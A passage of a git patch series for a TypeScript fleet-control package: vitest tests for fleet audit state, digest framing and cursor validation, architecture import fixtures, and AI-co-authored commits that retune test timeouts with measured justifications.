expect(globalHarness.inventoryStore.releasedPins).toContainEqual({ + generation: 1, + pinnedBy: `fleet-audit:${globalOperationId}`, + }); + }); + + it("a start whose grammar-valid records' aggregate node count exceeds 8,192 creates the operation with recordCount equal to the input length, and its first per-record call reads the accumulated record rows across two pages", async () => { + const records = Array.from({ length: 1_001 }, (_, index) => + baseRecord(`aggregate${index}`), + ); + expect(countPlainDataNodes(records)).toBeGreaterThan(8_192); + expect(() => + fleetOperationIntakeDigest({ + records, + staleAfterMs: STALE_AFTER_MS, + generation: null, + }), + ).toThrow('fleet operation state is malformed'); + + const operationId = uuidFor(83); + const clockMutationOperationId = uuidFor(830); + const pinMutationOperationId = uuidFor(831); + const action = { + kind: 'start' as const, + operationId, + records, + staleAfterMs: STALE_AFTER_MS, + }; + const intakeCount = records.length; + const intakeTenantTag = records[0]?.tenantTag; + let mutationOrdinal = 0; + const mutateCaller = ( + nextOperationId: string, + nextStaleAfterMs: number, + ) => { + mutationOrdinal += 1; + records.push(baseRecord(`appendedmidstart${mutationOrdinal}`)); + Object.assign(records[0] as FleetRecord, { + tenantTag: `mutatedtenant${mutationOrdinal}`, + }); + action.staleAfterMs = nextStaleAfterMs; + action.operationId = nextOperationId; + }; + const harness = buildHarness(records, inventoryFor(records), { + auditClock: () => { + mutateCaller(clockMutationOperationId, STALE_AFTER_MS + 1); + return AUDIT_NOW; + }, + }); + const pinGeneration = harness.inventoryStore.pinGeneration.bind( + harness.inventoryStore, + ); + harness.inventoryStore.pinGeneration = async (input) => { + mutateCaller(pinMutationOperationId, STALE_AFTER_MS + 2); + await pinGeneration(input); + }; + const started = await advanceFleetAudit(harness.baseOptions(action)); + expect(started.status).toBe('pending'); + if (started.status !== 'pending') throw new Error('unreachable'); + const persisted = + await harness.operationStore.readOperationById(operationId); + expect(persisted).toBeDefined(); + if (!persisted) throw new Error('unreachable'); + expect(persisted.state).toBe('running'); + const progress = persisted.progress as FleetAuditProgress; + expect(progress.recordCount).toBe(intakeCount); + expect(progress.staleAfterMs).toBe(STALE_AFTER_MS); + expect( + await harness.operationStore.readOperationById(clockMutationOperationId), + ).toBeUndefined(); + expect( + await harness.operationStore.readOperationById(pinMutationOperationId), + ).toBeUndefined(); + expect(harness.inventoryStore.pins).toEqual([ + { generation: 1, pinnedBy: `fleet-audit:${operationId}` }, + ]); + const stagedRecords = await readAllFleetOperationRows( + harness.operationStore, + operationId, + 'record', + ); + expect(stagedRecords).toHaveLength(intakeCount); + expect(stagedRecords[0]?.payload.tenantTag).toBe(intakeTenantTag); + + records.length = intakeCount; + Object.assign(records[0] as FleetRecord, { tenantTag: intakeTenantTag }); + action.operationId = operationId; + action.staleAfterMs = STALE_AFTER_MS; + Object.assign(records[0] as FleetRecord, { + tenantTag: 'mutatedafterstart', + }); + records.push(baseRecord('appendedafterstart')); + expect( + ( + (await harness.operationStore.readOperationById(operationId)) + ?.progress as FleetAuditProgress + ).recordCount, + ).toBe(intakeCount); + expect( + await readAllFleetOperationRows( + harness.operationStore, + operationId, + 'record', + ), + ).toEqual(stagedRecords); + records.pop(); + Object.assign(records[0] as FleetRecord, { tenantTag: intakeTenantTag }); + + // Skip the preceding global stages so this fixture pays for only the last + // global-stage call and the first per-record call that it measures. + harness.operationStore.operations.set(operationId, { + ...persisted, + progress: { + ...progress, + stage: { step: 'r2-missing-identity', expectedOrdinal: 0 }, + } as FleetAuditProgress, + }); + const afterGlobalStage = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: started.token }), + ); + expect(afterGlobalStage.status).toBe('pending'); + if (afterGlobalStage.status !== 'pending') throw new Error('unreachable'); + expect(afterGlobalStage.stage).toEqual({ + step: 'per-record', + recordOrdinal: 0, + }); + + const recordPageReadsBefore = + harness.operationStore.rowPageReadCounts.get('record') ?? 0; + const afterFirstRecord = await advanceFleetAudit( + harness.baseOptions({ + kind: 'continue', + token: afterGlobalStage.token, + }), + ); + expect(afterFirstRecord.status).toBe('pending'); + if (afterFirstRecord.status !== 'pending') throw new Error('unreachable'); + expect(afterFirstRecord.stage).toEqual({ + step: 'per-record', + recordOrdinal: 1, + }); + expect( + (harness.operationStore.rowPageReadCounts.get('record') ?? 0) - + recordPageReadsBefore, + ).toBe(2); + expect( + (await harness.operationStore.readOperationById(operationId))?.state, + ).toBe('running'); + }, 20_000); + + it('a persisted global-stage cursor beyond its source length or a per-record cursor beyond the record count refuses as malformed with no provider work and no durable mutation instead of truncating the audit', async () => { + const globalInventory = emptyInventory(); + globalInventory.findings.push({ + tenantTag: 'cursor-global', + environment: ENVIRONMENT, + kind: 'malformed-route', + detail: 'cursor fixture', + }); + const globalCase = { + records: [] as readonly FleetRecord[], + inventory: globalInventory, + stage: { step: 'provider-findings', rowOrdinal: 2 } as const, + }; + const equalGlobalCase = { + records: [] as readonly FleetRecord[], + inventory: globalInventory, + stage: { step: 'provider-findings', rowOrdinal: 1 } as const, + }; + const record = baseRecord('cursorrecord'); + const perRecordCase = { + records: [record] as readonly FleetRecord[], + inventory: inventoryFor([record]), + stage: { step: 'per-record', recordOrdinal: 2 } as const, + }; + + for (const [index, testCase] of [ + globalCase, + equalGlobalCase, + perRecordCase, + ].entries()) { + const harness = buildHarness(testCase.records, testCase.inventory); + const operationId = uuidFor(84 + index); + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: testCase.records, + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + if (started.status !== 'pending') throw new Error('unreachable'); + const persisted = + await harness.operationStore.readOperationById(operationId); + expect(persisted).toBeDefined(); + if (!persisted) throw new Error('unreachable'); + const progress = fleetAuditProgressFromUnknown(persisted.progress); + const corrupted: FleetOperationRunRecord = { + ...persisted, + progress: { ...progress, stage: testCase.stage } as FleetAuditProgress, + }; + harness.operationStore.operations.set(operationId, corrupted); + const rowsBefore = structuredClone([...harness.operationStore.rows]); + + await expect( + advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: started.token }), + ), + ).rejects.toThrow('fleet operation state is malformed'); + expect(harness.opsLog).toEqual([]); + expect(harness.fleetStore.ops).toEqual([]); + expect([...harness.operationStore.rows]).toEqual(rowsBefore); + expect( + await harness.operationStore.readOperationById(operationId), + ).toEqual(corrupted); + expect(harness.operationStore.heads.get('audit')).toBe(operationId); + expect(corrupted.state).toBe('running'); + } + }); +}); diff --git a/packages/fleet-control/test/fleet-operation-state.test.ts b/packages/fleet-control/test/fleet-operation-state.test.ts index e871b9da..e1d9c66e 100644 --- a/packages/fleet-control/test/fleet-operation-state.test.ts +++ b/packages/fleet-control/test/fleet-operation-state.test.ts @@ -1,5 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 +import { createHash } from 'node:crypto'; import { describe, expect, it } from 'vitest'; import type { DriftFinding } from '../src/fleet.js'; import { @@ -35,6 +36,7 @@ import { FleetOperationTokenKindError, FleetOperationTokenOperationError, fleetOperationIntakeDigest, + fleetOperationItemsIntake, fleetOperationRunRecordFromUnknown, fleetOperationStagedRowFromUnknown, isDurableAuditDetailSafe, @@ -181,19 +183,23 @@ describe('fleet operation state', () => { auditRecord(), ); expect(() => - driftFindingRowFromUnknown({ - tenantTag: 'tenant', - environment: 'production', - kind: 'not-a-finding', - detail: 'safe', + fleetAuditOperationRecordFromUnknown({ + ...auditRecord(), + progress: { ...auditProgress(), auditTimeMs: 9e15 }, }), ).toThrow(FleetOperationStateError); expect(() => - fleetAuditFactRowFromUnknown({ - factKind: 'database-owner', - key: 'database\nname', + fleetAuditOperationRecordFromUnknown({ + ...auditRecord(), + progress: { ...auditProgress(), staleAfterMs: 0 }, + }), + ).toThrow(FleetOperationStateError); + expect(() => + driftFindingRowFromUnknown({ tenantTag: 'tenant', environment: 'production', + kind: 'not-a-finding', + detail: 'safe', }), ).toThrow(FleetOperationStateError); expect(() => @@ -369,19 +375,22 @@ describe('fleet operation state', () => { ); }); - it('structured-field validation accepts a provider-claimed finding tag and rejects unsafe bytes', () => { + it('structured-field validation accepts any bounded provider-claimed finding tag — empty and control-byte values included — and rejects an over-bound one', () => { const base = { environment: 'production', kind: 'audit-error', detail: 'safe detail', } as const; - for (const tenantTag of ['bearer', 'Prod-1']) { + for (const tenantTag of ['bearer', 'Prod-1', 'Bad\nTag', '']) { expect(driftFindingRowFromUnknown({ ...base, tenantTag }).tenantTag).toBe( tenantTag, ); } expect(() => - driftFindingRowFromUnknown({ ...base, tenantTag: 'Bad\nTag' }), + driftFindingRowFromUnknown({ + ...base, + tenantTag: 'x'.repeat(FLEET_OPERATION_STRING_BYTE_BOUND + 1), + }), ).toThrow(FleetOperationStateError); }); @@ -391,6 +400,30 @@ describe('fleet operation state', () => { expect(isDurableAuditDetailSafe(`provider said ${marker}`)).toBe(false); } expect(isDurableAuditDetailSafe('safe words '.repeat(300))).toBe(true); + expect( + driftFindingRowFromUnknown({ + tenantTag: 'tenant', + environment: 'production', + kind: 'audit-error', + detail: '', + }).detail, + ).toBe(''); + expect(() => + driftFindingRowFromUnknown({ + tenantTag: 'tenant', + environment: 'production', + kind: 'audit-error', + detail: 'unsafe\u0000detail', + }), + ).toThrow(FleetOperationStateError); + for (const key of ['', 'database\nname']) { + expect( + fleetAuditFactRowFromUnknown({ + factKind: 'duplicate-namespace', + key, + }).key, + ).toBe(key); + } }); it('the withheld-detail fallback shape (a bearer-service detail is withheld, never thrown)', () => { @@ -536,4 +569,46 @@ describe('fleet operation state', () => { expect(driftIsSubsetOfAudit).toBe(true); expect(auditIsSubsetOfDrift).toBe(true); }); + + it('fleetOperationItemsIntake digests are order-sensitive across items, key-order-stable within an item, and framed so two items never collide with one concatenated item', () => { + const envelope = { generation: 1 }; + const a = 1; + const b = 2; + const ab = 12; + const digestFor = ( + items: readonly unknown[], + candidateEnvelope: Record = envelope, + ): string => { + const result = fleetOperationItemsIntake({ + envelope: candidateEnvelope, + items, + itemByteBound: FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, + }); + expect('digest' in result).toBe(true); + if (!('digest' in result)) throw new Error('unreachable'); + return result.digest; + }; + + expect(digestFor([a, b])).not.toBe(digestFor([b, a])); + expect(digestFor([{ b: 2, a: 1 }])).toBe(digestFor([{ a: 1, b: 2 }])); + expect(canonicalFleetOperationBytes(ab)).toBe( + canonicalFleetOperationBytes(a) + canonicalFleetOperationBytes(b), + ); + expect(digestFor([a, b])).not.toBe(digestFor([ab])); + expect(digestFor([a, b])).not.toBe(digestFor([a])); + expect(digestFor([a, b], { generation: 2 })).not.toBe(digestFor([a, b])); + + const oracle = createHash('sha256').update( + canonicalFleetOperationBytes(envelope), + ); + const encoder = new TextEncoder(); + for (const item of [a, b]) { + const canonical = canonicalFleetOperationBytes(item); + oracle + .update(String(encoder.encode(canonical).byteLength)) + .update(':') + .update(canonical); + } + expect(digestFor([a, b])).toBe(oracle.digest('hex')); + }); }); diff --git a/scripts/architecture-fixtures/operation-advance-imports-provider.ts b/scripts/architecture-fixtures/operation-advance-imports-provider.ts new file mode 100644 index 00000000..6129038f --- /dev/null +++ b/scripts/architecture-fixtures/operation-advance-imports-provider.ts @@ -0,0 +1,2 @@ +import '../../packages/fleet-control/src/cloudflare-client.js'; +import '../../packages/fleet-control/src/fleet-audit-advance.js'; diff --git a/scripts/architecture-fixtures/runtime-sdk-import.ts b/scripts/architecture-fixtures/runtime-sdk-import.ts new file mode 100644 index 00000000..7b544b69 --- /dev/null +++ b/scripts/architecture-fixtures/runtime-sdk-import.ts @@ -0,0 +1,3 @@ +import Cloudflare from 'cloudflare'; + +void Cloudflare; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index b6a357cf..290d04cf 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -114,6 +114,10 @@ const controls = { 'scripts/architecture-fixtures/decommission-advance-imports-provider.ts', 'fleet-control-inventory-advance-is-transport-neutral': 'scripts/architecture-fixtures/inventory-advance-imports-provider.ts', + 'fleet-control-operation-advance-avoids-concrete-transports': + 'scripts/architecture-fixtures/operation-advance-imports-provider.ts', + 'fleet-control-runtime-sdk-stays-in-provider-modules': + 'scripts/architecture-fixtures/runtime-sdk-import.ts', 'fleet-control-cleanup-advance-is-transport-neutral': 'scripts/architecture-fixtures/cleanup-advance-imports-provider.ts', 'fleet-control-decommission-database-is-provider-neutral': From 39eb70f8c4dd4fd1bfd5ea90a696da06ba7f30d4 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 2 Sep 2026 18:17:59 +0400 Subject: [PATCH 059/169] test(fleet-control): give the package a 20 s test timeout and the D1 harness 90 s Timeouts in this package bound hangs, not durations: no title asserts its own duration. Under vitest's default forks pool the test files share the machine, and two titles have crossed vitest's 5 s default inside the full package suite (5.3 s observed under load): one sleeps through the Cloudflare SDK's retry backoff and costs about 5 s on its own, the other runs 2.2-2.8 s alone with real scratch-directory work and timed out at that default in four of the eight full-suite runs since the audit fixtures were de-materialized, while passing alone every time; two more titles in two other files ran within 2x of it. The package config now sets testTimeout to 20 s. Three per-title caps that would have sat below it (15 s, 15 s, 10 s) are removed, as are two 20 s caps that merely restated it and two 30 s caps on audit titles that run well under 2 s; every one of those titles inherits the default. The two 2 s caps in the R2 export store tests are deliberate hang detectors and now say so. The D1FleetStateStore Wrangler harness moves from a 30 s to a 90 s describe-level cap: its two-pass R2 detach/deletion title timed out at 30 s inside the full suite and has needed as much as 29.9 s there since, with a 36% swing between runs at flat load, and its lost-coordinator-write sibling ran within 5 s of the old cap; the beforeAll/afterAll hooks repeat 90 s explicitly because vitest hooks take hookTimeout rather than the suite option, and the four titles that carried an explicit 30 s now inherit the 90 s. The other two Wrangler harness suites keep their 30 s caps; hookTimeout stays at vitest's 10 s because every heavy hook sets its own. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01DCbtBHyTuUaSETmYeJeBVA --- .../cloudflare-client-plain-worker.test.ts | 2 +- .../test/fleet-audit-advance.test.ts | 8 ++++---- .../test/plain-worker-backend-conformance.ts | 4 ++-- .../fleet-control/test/r2-export-store.test.ts | 2 ++ .../test/state-store.harness.test.ts | 18 +++++++++++------- .../fleet-control/test/wrangler-runner.test.ts | 1 - packages/fleet-control/vitest.config.ts | 11 +++++++++++ 7 files changed, 31 insertions(+), 15 deletions(-) diff --git a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts index 6f9a9035..dc32f522 100644 --- a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts +++ b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts @@ -939,7 +939,7 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { for (const operation of operations) { await expect(operation()).rejects.toMatchObject({ status }); } - }, 15_000); + }); it('paginates versions through a terminal empty page and reserves quota per request', async () => { const events: string[] = []; diff --git a/packages/fleet-control/test/fleet-audit-advance.test.ts b/packages/fleet-control/test/fleet-audit-advance.test.ts index ae55d812..830fb8f9 100644 --- a/packages/fleet-control/test/fleet-audit-advance.test.ts +++ b/packages/fleet-control/test/fleet-audit-advance.test.ts @@ -1844,7 +1844,7 @@ describe('advanceFleetAudit', () => { ).rejects.toThrow( 'fleet audit start canonical intake exceeds the intake byte bound', ); - }, 20_000); + }); it("'operationId' validation refusal at start", async () => { const alice = baseRecord('alice'); @@ -2286,7 +2286,7 @@ describe('advanceFleetAudit', () => { ), ).toBe(true); expect(harness.operationStore.heads.has('audit')).toBe(false); - }, 30_000); + }); it('abandonFleetAuditOperation: running → operator-abandoned + pin released; terminal → releases any surviving pin', async () => { const alice = baseRecord('alice'); @@ -3049,7 +3049,7 @@ describe('advanceFleetAudit', () => { rowOrdinal: 500, }); } - }, 30_000); + }); it('audit kind-lease loss at the dispatch boundary aborts with zero resolver, generation, and provider work', async () => { const alice = baseRecord('alice'); @@ -4313,7 +4313,7 @@ describe('advanceFleetAudit', () => { expect( (await harness.operationStore.readOperationById(operationId))?.state, ).toBe('running'); - }, 20_000); + }); it('a persisted global-stage cursor beyond its source length or a per-record cursor beyond the record count refuses as malformed with no provider work and no durable mutation instead of truncating the audit', async () => { const globalInventory = emptyInventory(); diff --git a/packages/fleet-control/test/plain-worker-backend-conformance.ts b/packages/fleet-control/test/plain-worker-backend-conformance.ts index cb92cd20..c5239480 100644 --- a/packages/fleet-control/test/plain-worker-backend-conformance.ts +++ b/packages/fleet-control/test/plain-worker-backend-conformance.ts @@ -935,6 +935,7 @@ export function describePlainWorkerConformance( }); it('14. resumes every teardown phase and preserves export ordering and integrity', async () => { + // Eleven teardown phases each run a failed and a resumed decommission. const spec = buildPlainWorkerSpec(); const baseline = makeHarness(); const ready = await provisionReady(baseline, spec); @@ -1052,8 +1053,7 @@ export function describePlainWorkerConformance( `delete-database:${ready.record.databaseId}`, ); expect(integrityFailure.store.record?.phase).not.toBe('decommissioned'); - // Eleven teardown phases each run a failed and a resumed decommission. - }, 15_000); + }); it('15. force-decommissions a deployment wedged after traffic removal', async () => { const harness = makeHarness(); diff --git a/packages/fleet-control/test/r2-export-store.test.ts b/packages/fleet-control/test/r2-export-store.test.ts index 2c3f16af..6887ef38 100644 --- a/packages/fleet-control/test/r2-export-store.test.ts +++ b/packages/fleet-control/test/r2-export-store.test.ts @@ -758,6 +758,7 @@ describe('R2DatabaseExportStore', () => { }); it('refuses a locked body before starting a put', { + // Deliberately tight: a locked body must be refused, not waited on. timeout: 2_000, }, async () => { const bucket = new FakeR2Bucket(); @@ -972,6 +973,7 @@ describe('R2DatabaseExportStore', () => { }); it('aborts a source when a conditional put returns null before reading', { + // Deliberately tight: a never-closing source is aborted, not waited on. timeout: 2_000, }, async () => { const bucket = new FakeR2Bucket(); diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index a47a6325..4764eed0 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -122,7 +122,11 @@ function harnessOptions() { } describe.sequential('D1FleetStateStore Wrangler harness', { - timeout: 30_000, + // Real workerd + D1 through Wrangler: the two-pass R2 detach/deletion title + // timed out at a 30 s cap inside the full package suite and has needed as + // much as 29.9 s there since. The hooks below repeat this value because + // hooks take vitest's hookTimeout, not this option; every title inherits it. + timeout: 90_000, }, () => { let server: TestHarness; let worker: WorkerHandle; @@ -131,11 +135,11 @@ describe.sequential('D1FleetStateStore Wrangler harness', { server = createTestHarness(harnessOptions()); await server.listen(); worker = server.getWorker(); - }, 30_000); + }, 90_000); afterAll(async () => { await server.close(); - }, 30_000); + }, 90_000); async function probe(action: string, input?: unknown): Promise { const response = await worker.fetch('/fleet-state', { @@ -174,7 +178,7 @@ describe.sequential('D1FleetStateStore Wrangler harness', { expect(result.explicit.after).toBeGreaterThan(14 * 60_000); expect(result.heartbeatObserved).toBe(true); expect(result.contenderRejected).toBe(true); - }, 30_000); + }); it('allows DB-expired takeover and fences every stale state mutation', async () => { const result = await probe<{ @@ -261,7 +265,7 @@ describe.sequential('D1FleetStateStore Wrangler harness', { 'platform-renewal', ), ).resolves.toEqual({ heartbeatObserved: true, contenderRejected: true }); - }, 30_000); + }); it('mutually excludes ordinary Worker claims in both durable claim directions', async () => { const result = await probe<{ @@ -1457,7 +1461,7 @@ describe.sequential('D1FleetStateStore Wrangler harness', { expect(result.heartbeatObserved).toBe(true); expect(result.contenderRejected).toBe(true); expect(result.leasesAfterRelease).toBe(0); - }, 30_000); + }); it('initializes the six inventory tables under concurrent first reads on fresh D1 storage', async () => { await server.reset(); @@ -1624,7 +1628,7 @@ describe.sequential('D1FleetStateStore Wrangler harness', { contenderRejected: true, leasesAfterRelease: 0, }); - }, 30_000); + }); it('four-table cold+concurrent schema init', async () => { await server.reset(); diff --git a/packages/fleet-control/test/wrangler-runner.test.ts b/packages/fleet-control/test/wrangler-runner.test.ts index 505f22a3..2aaa00e1 100644 --- a/packages/fleet-control/test/wrangler-runner.test.ts +++ b/packages/fleet-control/test/wrangler-runner.test.ts @@ -144,7 +144,6 @@ setInterval(() => {}, 1000); await rm(directory, { recursive: true, force: true }); } }, - 10_000, ); }); diff --git a/packages/fleet-control/vitest.config.ts b/packages/fleet-control/vitest.config.ts index 43e56f45..0790da2c 100644 --- a/packages/fleet-control/vitest.config.ts +++ b/packages/fleet-control/vitest.config.ts @@ -3,5 +3,16 @@ import { defineConfig } from 'vitest/config'; export default defineConfig({ test: { include: ['test/**/*.test.ts'], + // Timeouts here bound hangs, not durations: no title asserts its own + // duration (the in-body 1 s watchdogs in export-store.test.ts are hang + // detectors, not budgets). Two titles have crossed vitest's 5 s default + // inside the full suite (5.3 s observed): one sleeps through the + // Cloudflare SDK's retry backoff and costs about 5 s on its own; the + // other is 2.2-2.8 s alone with real scratch-directory work and crosses + // only when the default forks pool shares the machine. Suites that drive + // real workerd set their own caps above this; the two 2 s caps in + // r2-export-store.test.ts are deliberate hang detectors. hookTimeout + // stays at vitest's 10 s: every heavy hook sets its own. + testTimeout: 20_000, }, }); From 530ddaf67ab3f77c7b86ded637bf0114c336cced Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 2 Sep 2026 20:03:32 +0400 Subject: [PATCH 060/169] test(fleet-control): raise the D1 harness cap to 150 s, close the nit ledger The review of the 20 s package timeout left a nit ledger; this commit closes it. The vitest config comment now names the two files whose titles the default was derived from, says that the SDK retry-backoff title costs about 5 s regardless of load and that the 15 s cap the 20 s default replaced had shielded it from the 5 s default, carries the single worst alone-measurement of the scratch-directory title (about 2.8 s) instead of a range, describes the in-body watchdogs, races, and vi.waitFor bounds generically instead of naming one file, and claims only that every workerd boot hook sets its own cap (the module-level afterEach in the Wrangler fs mock runs at hookTimeout). The conformance cost note for title 14 counts the export-failure and integrity-failure passes that follow the eleven-phase loop. The migration-ledger and R2 export store Wrangler harness suites gain the same hook-timeout explanation the D1 harness carries for repeating the suite cap on both hooks. The D1 harness cap moves from 90 s to 150 s (describe option and both hooks, raised in lockstep because the hooks repeat the suite value; no hook duration is measured, vitest reports none). This checkpoint's own verification measured the two-pass R2 detach/deletion title at 45.2 s in a six-file run that took 149.9 s against the 84.0 s of a run of the same six files ten minutes earlier, where the title took 22.5 s; it took 28.5 s when the file was then run alone. 90 s left 1.99x over 45.2 s, under the 2x floor rounds 3-5 of the review checked, and 150 s is the smallest multiple of 30 s that keeps a 3x margin. The suite as it now stands has never run in CI: the last ci.yml run on dev is a9d6d2c (2026-08-31), where the D1 harness file carried 20 of its present 46 titles and the package 38 of its present 48 test files, and the whole file passed there in 17.1 s on the hosted runner, which has a fraction of this machine's cores; the worst local observation on the current suite is therefore the sizing input. The comment carries that observation and the margin. Verification across the three harness suites, the two conformance importers and the R2 export store unit file: 140/140, 0 timeouts, with the four test files byte-identical to this tree; the two-pass title 37.6 s (4.0x) and its lost-coordinator sibling 39.5 s (3.8x, its worst observation, 2.3x had 90 s stayed). The two deliberately tight 2 s caps in the R2 export store unit tests ran in 1 ms each on this tree and never above 5 ms in any verification run, at least 400x inside the cap. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01DCbtBHyTuUaSETmYeJeBVA --- .../test/migration-ledger.harness.test.ts | 2 ++ .../test/plain-worker-backend-conformance.ts | 3 ++- .../test/r2-export-store.harness.test.ts | 2 ++ .../test/state-store.harness.test.ts | 14 +++++++------ packages/fleet-control/vitest.config.ts | 21 +++++++++++-------- 5 files changed, 26 insertions(+), 16 deletions(-) diff --git a/packages/fleet-control/test/migration-ledger.harness.test.ts b/packages/fleet-control/test/migration-ledger.harness.test.ts index c1d96f58..dfb33174 100644 --- a/packages/fleet-control/test/migration-ledger.harness.test.ts +++ b/packages/fleet-control/test/migration-ledger.harness.test.ts @@ -42,6 +42,8 @@ function harnessOptions() { } describe.sequential('migration ledger real-D1 fidelity', { + // The hooks below repeat this value because hooks take vitest's + // hookTimeout, not this option; every title inherits it. timeout: 30_000, }, () => { let server: TestHarness; diff --git a/packages/fleet-control/test/plain-worker-backend-conformance.ts b/packages/fleet-control/test/plain-worker-backend-conformance.ts index c5239480..33fa3ab0 100644 --- a/packages/fleet-control/test/plain-worker-backend-conformance.ts +++ b/packages/fleet-control/test/plain-worker-backend-conformance.ts @@ -935,7 +935,8 @@ export function describePlainWorkerConformance( }); it('14. resumes every teardown phase and preserves export ordering and integrity', async () => { - // Eleven teardown phases each run a failed and a resumed decommission. + // Eleven teardown phases each run a failed and a resumed decommission; + // an export-failure pass and an integrity-failure pass follow. const spec = buildPlainWorkerSpec(); const baseline = makeHarness(); const ready = await provisionReady(baseline, spec); diff --git a/packages/fleet-control/test/r2-export-store.harness.test.ts b/packages/fleet-control/test/r2-export-store.harness.test.ts index fe339614..49cecde8 100644 --- a/packages/fleet-control/test/r2-export-store.harness.test.ts +++ b/packages/fleet-control/test/r2-export-store.harness.test.ts @@ -40,6 +40,8 @@ function field(value: unknown, name: string): unknown { } describe.sequential('R2DatabaseExportStore Wrangler harness', { + // The hooks below repeat this value because hooks take vitest's + // hookTimeout, not this option; every title inherits it. timeout: 30_000, }, () => { let server: TestHarness; diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index 4764eed0..1cf13bf8 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -123,10 +123,12 @@ function harnessOptions() { describe.sequential('D1FleetStateStore Wrangler harness', { // Real workerd + D1 through Wrangler: the two-pass R2 detach/deletion title - // timed out at a 30 s cap inside the full package suite and has needed as - // much as 29.9 s there since. The hooks below repeat this value because - // hooks take vitest's hookTimeout, not this option; every title inherits it. - timeout: 90_000, + // timed out at a 30 s cap inside the full package suite and has since needed + // as much as 45 s (in a six-file run with the 5-minute load average at 11.7 + // on 12 cores); 150 s keeps a 3x margin over that. The hooks below repeat + // this value because hooks take vitest's hookTimeout, not this option; every + // title inherits it. + timeout: 150_000, }, () => { let server: TestHarness; let worker: WorkerHandle; @@ -135,11 +137,11 @@ describe.sequential('D1FleetStateStore Wrangler harness', { server = createTestHarness(harnessOptions()); await server.listen(); worker = server.getWorker(); - }, 90_000); + }, 150_000); afterAll(async () => { await server.close(); - }, 90_000); + }, 150_000); async function probe(action: string, input?: unknown): Promise { const response = await worker.fetch('/fleet-state', { diff --git a/packages/fleet-control/vitest.config.ts b/packages/fleet-control/vitest.config.ts index 0790da2c..0aadfbcc 100644 --- a/packages/fleet-control/vitest.config.ts +++ b/packages/fleet-control/vitest.config.ts @@ -4,15 +4,18 @@ export default defineConfig({ test: { include: ['test/**/*.test.ts'], // Timeouts here bound hangs, not durations: no title asserts its own - // duration (the in-body 1 s watchdogs in export-store.test.ts are hang - // detectors, not budgets). Two titles have crossed vitest's 5 s default - // inside the full suite (5.3 s observed): one sleeps through the - // Cloudflare SDK's retry backoff and costs about 5 s on its own; the - // other is 2.2-2.8 s alone with real scratch-directory work and crosses - // only when the default forks pool shares the machine. Suites that drive - // real workerd set their own caps above this; the two 2 s caps in - // r2-export-store.test.ts are deliberate hang detectors. hookTimeout - // stays at vitest's 10 s: every heavy hook sets its own. + // duration, and the in-body watchdogs, races, and vi.waitFor bounds a few + // titles carry are hang detectors, not budgets. Two titles have run past + // vitest's 5 s default inside the full package suite (5.3 s observed): one + // in cloudflare-client-plain-worker.test.ts sleeps through the Cloudflare + // SDK's retry backoff and costs about 5 s regardless of load (the 15 s cap + // this default replaced had shielded it from the 5 s default); the other, + // in cross-backend-continuation.test.ts, runs about 2.8 s alone with real + // scratch-directory work and timed out at 5 s only when the forks pool + // shared the machine. Suites that drive real workerd set their own caps + // above this; the deliberately tight per-title caps say so where they + // stand. hookTimeout stays at vitest's 10 s: every workerd boot hook sets + // its own. testTimeout: 20_000, }, }); From f04c12223fa560cf6a71a674386d1d24feb3e630 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 3 Sep 2026 03:08:38 +0400 Subject: [PATCH 061/169] test(fleet-control): close the nit ledger for the timeout comments The review of 530ddaf left eight nits, seven on the timeout comments and one on the record; this commit applies four and records the rest. The D1 harness comment now carries the worst observation at one decimal, 45.2 s, and drops the unsupported load-average clause: no preserved log contains its 11.7 figure; separately, a later run that logged a 5-minute load of 23.0 measured the same title at 37.6 s. The six-file run condition stays. The vitest config comment now says the deliberately tight per-title caps sit below the 20 s default, and justifies leaving hookTimeout at vitest's 10 s from the right set of hooks: the six harness hooks that boot or close workerd carry their own caps, and the eight uncapped hook sites are per-test afterEach teardowns that remove scratch files, restore mocks/globals/env stubs, or assert and clear in-memory fixture worlds, and none of them touches workerd. Declined, each with its reason: a margin rule in the config comment (a floor stated there would assert facts about five caps in four other files that the file cannot verify, could not govern the separate hookTimeout axis, for which vitest reports no durations at all, and would already be false on the default that file sets: 20 s over the worst observed run of the slowest title it covers, 6,778 ms, is 2.95x), a value rationale on the two 30 s sibling suites (the worst observation in either is 4,250 ms, and 30 s is 7.06x that), and rewording the siblings' shared hook sentence (it is word for word the same in all three suites, which is the property that decline protects; only its line wrapping differs). The eighth, that the 20 s default is now the thinnest measured ratio among the title-timeout caps, 2.95x over the worst observed run of the slowest title it covers, above the 2x floor and under the 3x target, is recorded against the harness vitest-project follow-up; the default stays. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01FXsApWWhu2sZdUFqynCg45 --- packages/fleet-control/test/state-store.harness.test.ts | 7 +++---- packages/fleet-control/vitest.config.ts | 7 ++++--- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/packages/fleet-control/test/state-store.harness.test.ts 